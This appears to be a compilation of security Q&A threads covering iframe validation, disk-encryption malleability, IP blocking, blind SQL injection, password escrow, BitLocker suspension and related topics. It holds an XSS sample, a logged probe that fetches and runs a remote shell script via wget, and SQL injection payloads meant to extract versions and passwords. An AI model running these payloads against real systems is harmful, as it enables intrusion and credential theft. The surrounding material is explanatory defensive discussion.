User submitted iframes - what to watch out for? I'm building a part of a site where users can embed Youtube videos into their profile. I'm planning to have them get the embed iframe from Youtube directly, and submit that to our server. We're then responsible for rendering it.
For completeness, a typical such iframe would look like this:
<iframe width="560" height="315" src="https://www.youtube.com/embed/ZK7ih4V0erc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

Of course, it would be bad to just take whatever HTML the user provides and render it verbatim. My question is: How much effort should I go to to verify this iframe is what I expect?
My approach at the moment is to parse whatever HTML they provide, and:

Verify that the fragment is an iframe,
Verify that the src attribute comes from Youtube.

Is there anything beyond this that I should be watching out for? I'm okay with them specifying a youtube video incorrectly (i.e. giving the ID for a video that doesn't exist).

You would have to validate every part of the input very strictly: input format, tag name, tag format, all attribute names, all attribute values. A single mistake in the validation process might leave you vulnerable to XSS. In your steps for verifying the input you only mentioned a check on the tag name (iframe) and a check on the src attribute. That's not enough because you would have at least to make sure there are no attributes related to JavaScript events: onload, onmouseover, onclick, etc. There are a lot of them. A tag like this would execute JavaScript when it's loaded for example:
<iframe src="https://www.youtube.com" onload="alert('xss')">

Then maybe the style attribute could in some cases become dangerous, maybe by loading external URLs with some trick like style="background:url(...)". I have seen some of such tricks listed in some XSS cheatsheets, and while they might only work in some browsers or in some restricted cases, the fact that such tricks exist tells me that you had better watch out. Google "XSS cheatsheet" and take a look at some examples if you want to see some "scary" examples of how attackers can be "creative" when trying to circumvent filters and rules. And then there might be other attributes that could be used to cause trouble, or maybe new risky attributes will be added to the HTML standard in the future, who knows? We all know that blacklists are not considered secure, and you should validate everything with a whitelist. But at this point it's probably going to be a lot of work for nothing.
All this is probably not worth it for your purposes, and it's easier to provide your own predefined safe iframe tag. You probably only need the ID of the video, all the rest of the information is unnecessary and potentially dangerous. So you could extract the ID of the video, validate it, and then build your own iframe tag safely on the server side.
I read that you are worried about advanced parsing, but you don't need any advanced parsing for your simple purpose. For example, the following regex should be enough to match the video ID in an iframe, no matter what the other arguments are, and even if the tag is malformed (you don't really care if it's a perfectly valid iframe tag, all you care about is the intention of the user to embed a youtube video with an iframe).
/<iframe [^<>]+src="https:\/\/www\.youtube\.com\/embed\/([a-zA-Z0-9_-]+)"[^<>]+>/

Of course you can use an HTML parsing library for this purpose too. You might need to check if other characters are possible in the video ID, because I'm not sure if dots are also allowed, for example. You don't need a separate step for validating the video ID, because it's already validated by the regex (valid IDs can only contain the specified characters). Then you need to remove the iframe tag from the user input, and replace it with your safe tag. Your safe tag will just be static HTML where you only replace the video ID with the one provided by the user. For example, in PHP it could be something like this:
echo '<iframe width="560" height="315" src="https://www.youtube.com/embed/' .
     htmlspecialchars($matched_video_ID, ENT_QUOTES) .
     ' frameborder="0" allow="..." allowfullscreen></iframe>';

Note that I used htmlspecialchars (or you could use urlencode too) even though it was not necessary, because the video ID was validated and can only contain safe characters. I sanitized the variable anyway because I think it should be a habit to do so, no matter if at the moment such a weakness would not be exploitable.
A final warning
I'm not sure where the user is going to put that iframe, and I'm not sure if the user is already allowed to use other HTML tags. If the iframe is the only tag they can use, and that iframe is going to be embedded among other text, then you need to make sure the user won't try to use other tags anywhere else. In other words, special characters like <>& will need to be encoded everywhere in input coming from the user... except that you need to keep the iframe. I'm not sure how you are going to do this. You could remove the iframe code at first, sanitize the output by encoding the special characters, and then only add the iframe back again at the end. Or you could try out something like HTML Purifier if your needs become a little too complex.


How can Opera browser access my sessions on Google Chrome? I just installed Opera browser v60 (i.e. Reborn 3) on Windows 10. I noticed that it has automatically (without my consent and permission) taken all my bookmarks in Google Chrome and added to the bookmarks in the Opera browser. In addition, I noticed that somehow it has got access to my open sessions on Google Chrome. By this, I mean that I could for example open some websites using Opera browser without the need to give my username and password since I was logged into them using in Google Chrome browser (e.g. I did not need to login to stackexchange.com).

This felt creepy and made me think how Opera browser can do this? And in general, should I be worried that this happened and change my usernames and passwords?

At the moment, my idea why this happens is that because both browsers are based on Chromium. But I am not sure if this is the reason.

This felt creepy and made me think how Opera browser can do this?

Consider how session cookies are stored. It's stored on disk, as a database of some sort. In Chrome, it appears to be a sqlite database, which is readable by any program running as your user.

The same goes for bookmarks and other user data; it's stored in some form on disk. Accessing it is trivial for any application not specifically sandboxed.

Opera does this to make it easier to switch browser; you get to keep your sessions, bookmarks and history, making a switch almost seamless.

There's no need to change passwords; opera did not do any trickery. Programs that runs on your computer can impersonate you. This is not an unknown side channel or anything, it's fundamentally how computers work.


How reasonable is blocking IP address for web application Given a web application with authorized users, suppose there are users, like trolls, it's possible to lock one account, but the user can create another account and continue trolling.

Blocking IP not guaranteed defense, because a motivated troll can change their IP and access site again, but it more laborious work.

And banning the IP has also disadvantages, as other innocent users may lock access to login to the application, and this is why I am worried.

So, how reasonable is blocking IP address for web application? should I do it? What do you use for your web applications?

Blocking access by IP address is very common.

The actual process though may be somewhat dependent on what kind of access you are blocking.

In many cases, attacks against web apps will come from automated bots and in this case, generally the source computer has been compromised. So blocking by IP address is perfectly reasonable.

If you are concerned about false positive blocks, you should implement temporary blocks. These block access by IP address for a set period.

Have a look at some of the WordPress security addins for examples. Also check out FAILTOBAN which is an OS level banning tool for Linux.


WireShark only showing broadcast packets So here is my setup

Desktop booting a live version of Kali from a USB drive
The standard distro of wireshark that comes with Kali
A Ralink RT-3070L High gain antenna
My home network as a sandbox.

When I run wireshark (with my antenna in promiscuous mode) I only see a very small amount of packets from other machines.

I see everything from the machine I am on and I see some things coming from the router.

From my understanding this is indicative of running in Monitor mode. However, that's not what the settings are telling me and I know for a fact this antenna can work in promiscuous mode. Am I missing something?

Put your Wifi card in monitor mode by doing something similar to airmon-ng start wlan0. Then run Wireshark on that interface. You should be able to see some packets other than those meant for your desktop. However when you put it in monitor mode it constantly keeps hopping over the various channels. It'll only capture packets on the channel it is currently on. Hence if all your devices are on different channels, it'll be difficult to monitor all the packets in the air. You can have your access point to use only a specific channel, put the Wifi card on that specific channel(look at airmon-ng options), then sniff with Wireshark on that interface.


Does an encrypyted hard drive stop people adding files to it Consider the scenario:

Someone in power decides they don't like you and wants to frame you for some virtual crime. The police come and take away your computer but the hard drive is encrypted. They demand your encryption key but as you do not trust them to not tamper with the evidence (your hard drive), you say you will provide the key as long as they send an exact copy of the hard drive to an independent trusted 3rd party. This third party would then be able to verify whether any evidence found on the police version of the hard drive is real or fake.

Is it possible that the police could add incriminating data to your hard drive despite not knowing the decryption key?

The reason I ask is because if it works in the same way as RSA encoding, I would have thought if they got a hold of the public/encryption key, they could add any data they wanted despite not being then able to decode it.

If the question is taken literally, then yes, you cannot add a new file to an encrypted hard drive. If your question is instead better phrased as "can an attacker modify data on an encrypted hard drive without knowing the key?", then the answer is that it depends on the mode of operation being used, but it is very possible.

Encrypting data requires two algorithms: the cipher itself (such as AES), and a mode of operation (such as CBC). The cipher can be assumed to be secure in all realistic circumstances, but the mode of operation may either be quite secure, or may give away a large amount of information about the encrypted data or worse, depending on how it is used. Each mode of operation has its pros and cons, and is only supposed to be used for specific purposes. Some examples:

ECB: extremely simple, safe when used only to encrypt a single block of data with a given key
CTR: very fast and does not need to encrypt in multiples of one block, so common in networking
GCM: similar to CTR, but prevents tampering at the expense of space efficiency
CBC: pretty simple, useful to encrypt individual files where integrity is not important
XTS: more complicated than the others, but useful to encrypt block devices like hard drives
EME: better for block device encryption than XTS, but patent encumbered so rarely used

Encrypted hard drives typically use either CBC or XTS. With CBC, the answer to your question is no, it does not stop someone from adding or modifying data, though it does stop them from adding whole, intact files as that would require fine control over various complicated filesystem structures. CBC is vulnerable to so-called malleability attacks, which allow targeted manipulation of already encrypted data (see Practical malleability attack against CBC-Encrypted LUKS partitions). While someone couldn't simply add an entire new file, they could, for example, modify an existing executable file to add malicious behavior. A description of the capabilities of this attack against CBC, from the above paper:

  We can use this technique to change every 2nd plaintext block in a sector to anything we want to while destroying the blocks between the manipulated blocks. Given a blocksize of 16 bytes (128 bits) this does allow injecting more or less arbitrary shellcode to an executable file by dividing the shellcode to small chunks and adding JMP instructions to jump over the garbage blocks.

This allows for a scary level of control over your encrypted data. While the confidentiality of the data itself is still guaranteed with essentially all modes of operation (with the exception of ECB, which results in the famous ECB penguin when used to encrypt more than a single block of data), you probably wouldn't want to use this mode if you expect someone may be able to tamper with your data.

XTS is not perfect and does not guarantee integrity of the data, it does prevent such targeted modifications. With XTS, you can corrupt an arbitrary 16 byte block of data, but you cannot choose what the modified data will decrypt to. While this is not nearly as bad as being able to insert arbitrary data, it can still be dangerous. For example, it could be used to cut out vital permission checks from within the machine code of an executable, making it vulnerable.

There are special block modes called wide-block modes (such as XCB and EME/EME2) which are similar to XTS, but increase the minimum block size for tampering up to the size of a single sector (typically 512 bytes). An attacker who can corrupt an arbitrary 512 bytes is much less dangerous than one who can corrupt an arbitrary 16 bytes (or 1 bit, if something silly like CTR is used!). Unfortunately, these block modes are or have for most of their lives been patented, which hinders their adoption.

Authenticated modes like GCM provide perfect integrity on top of the confidentiality provided by the cipher, so that if any ciphertext is modified without knowing the key, it will not decrypt at all, rather than decrypting to corrupted plaintext. The problem with authenticated modes is that they require a little bit of extra integrity data called a MAC after every message. This is fine for things like networking to replace CTR, where the MAC is sent after a long stream of ciphertext, but a hard drive requires being able to read and write with per-sector granularity, so each sector would need to contain its own MAC, greatly reducing the amount of space available for storing data.

Most hard drive encryption software uses either CBC or XTS, though some versions of Windows include a "diffuser", which acts similar to wide-block modes by increasing the minimum tampering size. For something like Linux, a drive may be encrypted with aes-cbc-essiv when in CBC mode, or aes-xts-plain64 when in XTS mode. You can check what mode is being used by running the command dmsetup table as root.


How do I immediately block IPs once they do a single malicious act? I get this in logwatch

 A total of 21 sites probed the server
    1.144.111.208
    123.31.43.40
    174.216.5.13
    185.156.177.234
    188.175.196.105
    188.71.236.121
    197.229.2.33
    197.229.2.44
    197.229.2.89
    223.206.234.87
    69.123.106.157
    71.80.149.79
    73.240.179.91
    73.25.58.45
    73.85.133.118
    75.66.221.173
    78.49.31.220
    85.107.113.45
    89.172.162.25
    94.199.18.198
    99.203.97.108

 Requests with error response codes
    400 Bad Request
       /: 12 Time(s)
       /admin/index.php: 1 Time(s)
       /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91. ... sh+.j;echo+DONE: 1 Time(s)
       null: 1 Time(s)
    404 Not Found
       /modules/base/js/owa.tracker-combined-min.js: 29 Time(s)
       /robots.txt: 23 Time(s)
       /cgi-bin/file_transfer.cgi: 11 Time(s)
       /administrator/: 3 Time(s)
       /TP/html/public/index.php: 2 Time(s)
       /TP/index.php: 2 Time(s)
       /TP/public/index.php: 2 Time(s)
       /ads.txt: 2 Time(s)
       /elrekt.php: 2 Time(s)
       /html/public/index.php: 2 Time(s)
       /index.php: 2 Time(s)
       /public/index.php: 2 Time(s)
       /thinkphp/html/public/index.php: 2 Time(s)
       /HER7400Watt: 1 Time(s)
       /admin/config.php?password[]=bebydviyx&username=admin: 1 Time(s)
       /api/v1: 1 Time(s)
       /sitemap.xml: 1 Time(s)
    405 Method Not Allowed
       ip.ws.126.net:443: 1 Time(s)
    408 Request Timeout
       null: 21 Time(s)

Some activities are never coming from a good place.

How do I immediately block them once they do a single one of those activities?

You are asking the wrong question, for a number of reasons.  These are mainly spelled out in comments, but I think it's worthwhile to put it all in a coherent answer.  There are a number of critical issues that you'll run into if you attempted to do this:
1. Identifying malicious acts is the hard part
Blocking an IP that you suspect is performing malicious activities is easy.  This is what a firewall is for after all.  The tricky part is correctly identifying malicious activity.  As was pointed out, at least some of your "malicious requests" were almost certainly search engines doing standard indexing.  You don't want to block them.  Moreover, requests that are actually malicious are often very difficult to identify.  It can be easy to look at it after the fact and decide, "Yup, this is definitely an XSS vector - ban it", but some well crafted payloads may be difficult even for trained security professionals to identify.  Teaching a computer to do it automatically is effectively impossible.  In fact, if you did manage to do that, you would have a security product that you could sell for ridiculous amounts of money.
2. Banning it after-the-fact is too late
If you ban an IP address after it makes a malicious request then your ban has come too late.  In many cases, a single request may be all that is necessary to do substantial damage.  If you ban an IP address after little bobby tables registered, then your system will already be broken.
3. Banning IP addresses bans the wrong thing
It's easy to think that "Banning IP address" === "Banning attacker", but reality is far more complicated with IPV4 and NATs.  Home networks, companies, large government organizations, and sometimes even geographic regions may share a single IP address.  Even if banning an IP address actually banned an attacker, you will never know how many other legitimate users you accidentally banned as collateral damage.  You don't want to ban the IP address - you just want to ban the request.
Solutions
A ban hammer is really the wrong tool - more finesse is required.  The most common solution is a WAF although even those are far from perfect.  The reality is that there is no easy way to security, and properly securing an application requires effort at all layers of it.  Tools like fail2ban perform tasks similar to what you are seeking, but are working at very specific levels of the application.  A broad "malicious activity" detector of the sort you are looking for is much, much, harder.


1 vs 2 way mutual SSL + IP filtering We've set up a client-server communication with a partner. We host the server and the partner is the client.
The specifications for this communication have been provided by our partner.

The specifications are as follow:

TLS 1.2.
1 way SSL, so that the client knows that data is provided by the expected server.
IP filtering, so that only authorized entities can access data stored on the server.

However, we also need to ensure that the entity retrieving the data is the authorized partner.
So we are having some concerns about the reliability of the specifications provided.

Wouldn't a 2 way SSL + IP filtering be more appropriate in our case scenario ?

Yes, mutual authentication using a client certificate is ideal here. IP filtering is a good control, but it should only really be used as a secondary security control.

As an example of how the IP filtering could fail here, assume that the client (it's a server but in this case it's the one initiating the TLS connection) is on a network that can route out to the internet in order to talk to the server. Now imagine that instead of attacking that client box, an attacker finds a way into a completely unrelated system on the same network, or even the router itself for that subnet. They can now talk to the remote server because they're routing out as the same external IP address.

With mutual authentication the client certificate is on the client system only, so the attacker cannot communicate with the remote server even if they break into the same network as the client.


What is the best way to manage gpg keys across multiple devices? I have a desktop computer and a laptop computer both running Debian. All of the devices have encrypted hard drives. I also have a phone running Cyanogenmod/Android.

What is the best way to manage the keys?

Ideally I want to be able to list one Public Key.

The obvious answer is to use gpg -a --export-secret-key and gpg --import to share the one key you have across the devices. (Some people suggest copying the ~/.gnupg/secring.gpg file, or, even worse, the entire ~/.gnupg/ directory. Do not do that; I've come across subtle bugs that make the binary format not portable across implementations, although if you stick to only recent GnuPG, you are almost certainly fine; differences in gpg.conf might bite you though, so it's still better to export/import the keys all the time.) – This is the scheme I normally use (I do not own an Android device).

If you have systems with varying security levels – for example, Cyanogen has this phone-home backdoor – you may want to use a subkey scheme instead: you create a sign-only key first, then create two or more subkeys (one sign-only subkey with which you can sign messages and (if necessary: do not normally do that, use your master key for it) other keys, and one encrypt-only subkey with which you can decrypt eMails others encrypt to this subkey). Then, you only export those subkeys you need on the less-trusted device to it. The Debian Wiki has got very detailed instructions on how to do this; the gist is, you first export the entire key into a backup, then delete locally the “master” subkey, then export again (this time missing the master, keeping only the subkeys you actually want to export), then import the backup file created in the first step. Import only the second export on the device.

Do not create multiple keys. People will be confused over which one to use.

I'm willing to add more specifics; this is a somewhat generic answer; more detail depends on your use cases (e.g. do you want to read encrypted mail on all devices or just one, or do you want to read only some encrypted mail on all devices but have other encrypted mail your Android device cannot access; and what about signing).


I logged into my work computer with my personal email, can my employer see my google search history on Chrome? Stupid mistake here. Today at home using my work computer I logged into my gmail on Chrome to check my personal email. I then went to look something up in google and saw several google search suggestions that I only typed in on my home computer; I don't have sync on, but I guess google searches are shared between devices if you're logged in on the same google account.

Is there any way for my work to see my google search history. I double checked and it doesn't seem websites or anything are shared, it's just that in Chrome google autofills certain searches whenever I type.

It all depends on your network setup. My company laptop requires me to connect to cooperate VPN before I can access the public internet from home or on-the-go. In this case, all my traffic is routed to the cooperate network before it breaks out to the public internet. By doing so, the company is able to enforce security policies and controls. If I were to browse the public internet, my company proxy server will log all my activities.

Some companies simply allow direct internet access from their laptops while off the cooperate network. In that case, its not easy to enforce security polices to remote users. Therefore its not easy to track user activity.

Some companies install security agents on laptops to monitor user activities. CrowdStrike is a good example. It monitors processes and files being executed on local machine (laptop), and then reports back to the cooperate network on-the-fly.


Long running SMTP session I recently noticed an SMTP session on my server which started when a remote host connected but never seemed to result in any emails being delivered. I could see that it was probably a SPAM site and so I killed the SMTP session, but the remote host immediately reconnected but using a different HELO domain.

I was curious what they were doing so I used tcpdump to capture the session and killed it again to capture a session from the start.

What I found was they did:

HELO randomdomain.com
RSET
AUTH LOGIN

With the RSET and AUTH LOGIN being repeated over and over in a loop.

Does this look like a brute force attack on the passwords?

I'd say that looks like a brute force attack - they are likely trying to gain access to your mail server to send out spam, or using SMTP as a general avenue of attack on your server.


How can I be secure with a global salt? If I understood the basic of password hashing and storing, what we need are:

a "strong" salt
a "real" random salt
a unique salt per password
a password hashing function with a high CPU cost

We hash the passwords using 1, 2, 3 and 4 using PHP crypt() and CRYPT_BLOWFISH with a "medium" cost.

We have a new need: we need to be able compare the hashes because we have noticed that low level fraud/spam/scamsters use the same passwords. We do not need to know the password of an abuser but only to know that a profile is using the same password as a previously identified abuser.

So we are thinking about having 2 fields in our database:

passwordA: used for login procedure (this field would use 1, 2, 3 and 4)

crypt($password, '$2y$06$' . $uniqueSalt);

passwordB: used to "compare" (this field would us 1, 2 and 4)

crypt(md5(md5($password) . $globalSaltA) . $globalSaltB, '$2y$10$' . $globalSaltC);

Global salts A and B would be stored only in the application code.

To compensate the missing point 3 for passwordB, we have increased the "cost" which is a lot higher.

Following the comment, I understood how unsecure this strategy is if an attacker gets a full access (database + code) on the server. However, if the attacker only gets the database, we are fine.

Companies doing detection of credit card fraud have the same issue with the credit card numbers. They cannot store them but need to compare them.

So what strategy/solution would you advice?

The core problem: if your server can efficiently compare a hashed password with (potentially) all the hashed passwords for all the user, then so can an attacker. An attacker who grabs a copy of your server files/database will be in position to run an offline dictionary attack, i.e. hashing potential password and look for a match.

Normal password hashing uses a per-password salt to prevent parallel attacks: we want the attacker to pay the full computational price of the hash function (which is made expensive through many iterations) for each password and each user account. However, if several password hashes use the same salt, then the attacker can try a potential password against all of them for the cost of one hash function invocation. Thus, your "global salt" substantially weakens the scheme: it allows the attacker to attack 1000 accounts for the cost of attacking one.

The important point: your problem is one of temporality. Indeed, you don't actually want to compare a new user password with all the passwords of all other users; what you want is to compare the password chosen by each user at registration time against a limited list of "passwords of known offenders". Unfortunately, when a registered user falls into "offender" status, he is already registered, and his password has not been kept around, only the hash thereof. So, really, you would like to be able to access the password used for registration after the registration has taken place.

A possible solution: use escrowing, aka asymmetric encryption. Create a RSA key pair. Store the public key on the server. Do NOT store the corresponding private key on the server; instead, store it elsewhere, e.g. on a laptop computer which is kept offline (or maybe just on a few USB flash drives).

When a user registers, hash his password as usual (with PBKDF2, many iterations, a new random salt, etc). But, also, encrypt the password (not the hash) with the RSA key, and store the encryption result in your database, along with the hash. Encryption only needs the public key, and is randomized, so this encrypted version does not give extra leverage to an attacker who gets a copy of the database contents. When a user logs in, the password hash is used, as usual.

When a user turns out to be a spammer, get the private key and decrypt the escrowed password. That way, you obtain the "bad password" and can add it to the list of passwords to reject upon registration. That list can be kept as cleartext: since the corresponding accounts have been closed, then there is no problem with that. Take care to do the decryption on a "safe" machine, preferably offline: you really do not want to see that private key stolen.

A word of caution: spammers are like bacteria, in that they tend to evolve with regards to external constraints. If you filter out spammers based on their habit of reusing passwords for registration, then you will soon train them into generating random passwords. Thus, I predict that if you install such a system, then it will cease to be effective at kicking spammers out after a relatively short time; after that, it will just be dead weight in your database (not a lot of it, because a RSA-encrypted short message with a 2048-bit RSA key is just 256 bytes, but dead weight nonetheless).


Apache User-Agent Injection In my Apache configuration file, I am currently blocking potentially malicious user agents using the following config:

SetEnvIfNoCase User-Agent "^\W" badagent
<Location />
    Deny from env=badagent
</Location>

This will deny all requests with a user agent that begins with anything except for a-Z or 0-9. A 403 Forbidden error is displayed.

I would like to change my configuration in order to be able to provide a different 403 ErrorDocument for different blocking reasons.

I am aware that it might not always be a good idea to tell somebody the exact security reason for their request being blocked, but this is just in case a legitimate user has their request blocked. I want them to know what the problem is instead of just seeing a standard 403. If somebody is attacking my site, they most likely know why their request is being blocked.

For example:

Request blocked due to malformed user agent.
Request blocked due to disallowed request method.
Request blocked due to hotlinking.

In order to do this, I must use If statements within my config:

<If "%{HTTP_USER_AGENT} == '^\W'">
    ErrorDocument 403 "403 Forbidden - Request blocked due to malformed user agent."
    Require all denied
</If>

My concern with this is that the HTTP_USER_AGENT variable could be used for command injection. I ran commix on an offline test server with this configuration and it did not detect anything, but I want to be sure.

I struggled to find any conclusive documentation on if/how Apache sanitizes variables from a HTTP request.

I am running a plain HTML/CSS website, no PHP or anything like that. Standard Apache installation with various hardening configurations and unneeded modules disabled.

Could the If statement used above be vulnerable to command injection, and if so, how do I protect against it?

You are trying to protect your web application via Apache, but instead,
the proper way to protect your apache/web-application is to make sure that attackers are denied access at lower level of OSI model. For example you can use fail2ban which protects on OSI level 3 (Network) thru iptables, as it bans entire IP address.

Apache is OSI level 7 (application).

So instead of having

<If "%{HTTP_USER_AGENT} == '^\W'">
    ErrorDocument 403 "403 Forbidden - Request blocked due to malformed user agent."
    Require all denied
</If>

in your config, you should rather create custom log file by adding

LogFormat "%a %{User-agent}i" ipagent

And

CustomLog /var/log/apache2/useragent.log ipagent

And proceed with fail2ban config as explained at answer given here https://serverfault.com/questions/251988/blocking-apache-access-via-user-agent-string

Aditionally to further harden your server, make sure to install apache's mod_security with OWASP rules, to do it, check my answer, given here:
Some bot keeps posting this to my server


Blind SQL injection with Acunetrix Vulnerability Scanner I'm trying to analyse the test results for blind SQL injection using Acunetrix Vulnerability Scanner.

URL encoded POST input address was set to
if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/

Tests performed:
if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/ => 12.062 s

HTTP headers sent to POST were:
address=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/&

If we supply any value to address variable data is getting inserted to tables. Is there any way to modify the header data for the address variable so that instead of storing data, we can retrieve the data and perform select operations and get to know about the internal schema?

It would also be really helpful if someone could help me in understanding the internals behind this statement:

if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/

The statement

if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/

basically tries three different injection points at once.

1. The direct one

    if(now()=sysdate(),sleep(6),0)/*...*/

If the input would be directly interpreted (without any escape characters) this sql would be triggered. The rest of the input string would be commented out.

2. Single quotation marks '..'

    ..'XOR(if(now()=sysdate(),sleep(6),0))OR'..

If the input is encapsulated in the statement with single quotation marks, the characters at the beginning and the end will break out of the context and the sql between them will be interpreted.

3. Double quotation marks ".."

    .."XOR(if(now()=sysdate(),sleep(6),0))OR"*/

Same as with the single quotation marks but works for inputs that are encapsulated in double quotation marks.

What the query might look like

If it is PHP that builds this MySQL statement, it might look like one of the following ones (depending on the case that triggers it):

sql = "INSERT INTO tbl_addresses (address,user) VALUES("+$_POST["address"]+",..)"
sql = "INSERT INTO tbl_addresses (address,user) VALUES('"+$_POST["address"]+"',..)"
sql = "INSERT INTO tbl_addresses (address,user) VALUES(\""+$_POST["address"]+"\",..)"

How it works

The statements are the same for each injection case.
It first compares if the return value of the "now" function matches that of the "sysdate" function. If that is the case (and it should be), the "sleep" function will be called with a time of either 6 or 0 seconds, resulting in the delay that you observed.

It is possible to exploit this as a purely blind SQL injection. A tool like sqlmap will help you with that, as it would take quite a lot of time if you do it by hand.
What it will basically do (in simplified form), is issue statements like:

if ( nth_character_of(password) == "a" , sleep(6), 0)

Where "nth_character_of" will be a database specific function that picks a character from a string and "password" will be a query that returns whatever value you want to retrieve from the database. It will also use an optimized method to find the correct characters.
If sqlmap experiences a delay it will know that the compare was correct and iterate further.

Narrowing it down

You can try to supply each of the three injection cases separately and have a look which one results in the delay. This way your injection string becomes much shorter and easier to modify and understand.

What you could try

If the value is indeed returned in the frontend, as you said in a comment under another answer, that SQL injection is not purely blind.
You might be successfull trying to insert your value directly like that:

version()/*'+version()+'"+version()+"*/

to retrieve the version in the frontend or with your query in all three places like:

(select password from users LIMIT 1)/*'+(select password from users LIMIT 1)+'"+(select password from users LIMIT 1)+"*/

The one with the custom query might not work depending on the encoding that in needed in this specific application but it is worth a try.


Can I redact by converting PDF to TIFF and back? Background
My boss asked me to come up with a way ordinary users can redact information from PDF files using free software. We get a lot of scanned documents and our client requires that sensitive information be redacted from PDFs before they are uploaded to their system. Here's what I came up with. I have convinced myself that this will effectively destroy potentially sensitive client metadata from the original document, as well as making it impossible to remove any black bars covering up sensitive information. However, I have also found that I don't know nearly as much as I think I do.
Many forum members posting about this topic have stated quite firmly that only Adobe Acrobat or other paid software can do this securely. If you are of this opinion, please explain why. I'm having trouble figuring out why this wouldn't work.
Overview
In some PDF program, cover up the sensitive stuff with boxes, then convert it to a TIFF file. Then convert the TIFF file back to a PDF.

Would this work? Does the TIFF file preserve any information about objects or layers? Is any potentially sensitive metadata likely to make it through, or will all metadata be changed, as I hope?

How I'm doing it specifically
I don't know if I should include this, since the general question will probably be more useful, but here's my specific setup:
The software:
PDFCreator and Foxit PDF.
The setup:
Change the settings in PDFCreator so that it converts the document to a TIFF, instead of a PDF. For the output, set PDFCreator to print back to FoxIt, rather than opening the document.
The process:

Open the PDF in Foxit Reader and cover up any visible sensitive data with black rectangles.
Print the document to PDFCreator.
In the background, PDFCreator saves the file as a TIFF and then prints the TIFF to Foxit's PDF printer. Foxit asks where you want to save the PDF.

Related
Inspired by Blacking out a part of a PDF, or redaction of text on AskDifferent.
This is related to How to remove meta and sensitive data from PDF file?, but we are all on Windows, not Unix.
Also related from SuperUser: How to remove OCR from a PDF?
Step by step instructions for a similar process by someone else: Quick and Dirty Redaction
Summary
From a security standpoint, will converting a PDF to an image, blacking out a portion, then converting it back to a PDF be sufficient in removing information from the document?

If the scanned documents don't have passed an OCR process, and come along without sensitive metadata, rendering to TIFF, properly changing the pixels to be redacted to a uniform black (or any other color), flattening the TIFF, and writing it back as a PDF would be sufficient. This is because you create a completely new document. If it had metadata, that metadata would concern your process, and not previous ones.

Depending on the requirements for the redacted document, you could run OCR over it, and/or add your custom metadata. But, again, that would be done under your control.

Ideally, the scans would come in as TIFF, which you process, and only then create the PDF. This would simplify the workflow.

In any case, you would need an image editor which understands TIFF and PDF, and do the redaction in the image editor.


sbd uses "default phrase to use for encryption" I've been using sbd to compare it with Ncat. Ncat offers SSL with or without certificates. sbd offers AES-CBC-128, with an option to override the "default phrase to use for encryption".

sbd -h

...

-c on|off   encryption on/off. specify whether you want to use the built-in
            AES-CBC-128 + HMAC-SHA1 encryption implementation (by
            Christophe Devine - http://www.cr0.net:8040/) or not
            default is: -c on
-k secret   override default phrase to use for encryption (secret must be
            shared between client and server)

This looks like a default encryption key is hardcoded into sbd. Is this true? If so, would using this default secret make it possible to reverse the distributed binary, find the key, then reassemble TCP streams of sbd sessions and decrypt them?

It uses the default passphrase "roses are red, violets are blue." which can be overridden at compile time by defining SHARED_SECRET or at runtime using the command line switch you mention in the question.

#ifndef SHARED_SECRET
    #define SHARED_SECRET "roses are red, violets are blue."
#endif

from sbd.c line 136-138


Anniversary Update with Bitlocker Reboot without Encryption Key I have Windows 10 Professional installed and have avoided the Anniversary Update until yesterday.  The computer installed the update despite my best efforts to stop it.  But that is a different problem.

I have Bitlocker configured to require a key stored in the TPM, another key stored on an Apricorn Aegis secure thumb drive, and a 20 character alpha-numeric pin, to boot the OS.  When the Anniversary Update needed to reboot the machine, I prepared to provide the necessary key and pin but watched as the computer continued the update process without the required key file or pin.  I saw the graphics card post screen, the raid post screen, and the motherboard post screen, but no Bitlocker pin screen.  How is this possible?  A reboot should clear the RAM, where the encryption keys are stored.  How did the Anniversary Update application know how to read the encrypted hard drive without the key file or pin?

Was a recovery key written to the boot sector or Windows boot partition in an unencrypted state?  Or was Bitlocker temporarily disabled?  If so, how?  Decrypting a file system takes a long time, even with four SSD's running RAID 0 (930GB usable space).  The setup process for the update did not take long enough for such an operation, nor was there a lengthy re-encryption process at the end.

If a recovery key was written to the boot sector/partition, how do I determine if it has been securely wiped?  Bare in mind, these are sold state drives that try to even out writes to disk to make the storage medium last longer.  I need the specific blocks zeroed out that stored the recovery key.  I have extremely sensitive data stored on this machine, and the slightest risk of this kind of vulnerability would require the physical destruction of all four SSD's.

I know you've already got an answer elsewhere.

However, just in case someone else stumbles upon your question, I'll try to provide a short explanation:

In Windows 10, the Anniversary Update (1607), as well as the other "Feature updates" (November Update [1511], Creators Update [1703], ...) are in fact major updates, in some ways similar to an upgrade from Windows 7/8 to Windows 10 (you end up with a Windows.old folder, for instance).

During these major system upgrades, Bitlocker is not disabled: the drive is not decrypted before the upgrade and then re-encrypted after the upgrade, as you correctly inferred.

Instead, Bitlocker is suspended.

The difference between suspending and decrypting is explained in the Bitlocker FAQ:

  Decrypt completely removes BitLocker protection and fully decrypts the drive.

  Suspend keeps the data encrypted but encrypts the BitLocker volume master key with a clear key. The clear key is a cryptographic key stored unencrypted and unprotected on the disk drive. By storing this key unencrypted, the Suspend option allows for changes or upgrades to the computer without the time and cost of decrypting and re-encrypting the entire drive. After the changes are made and BitLocker is again enabled, BitLocker will reseal the encryption key to the new values of the measured components that changed as a part of the upgrade, the volume master key is changed, the protectors are updated to match and the clear key is erased.


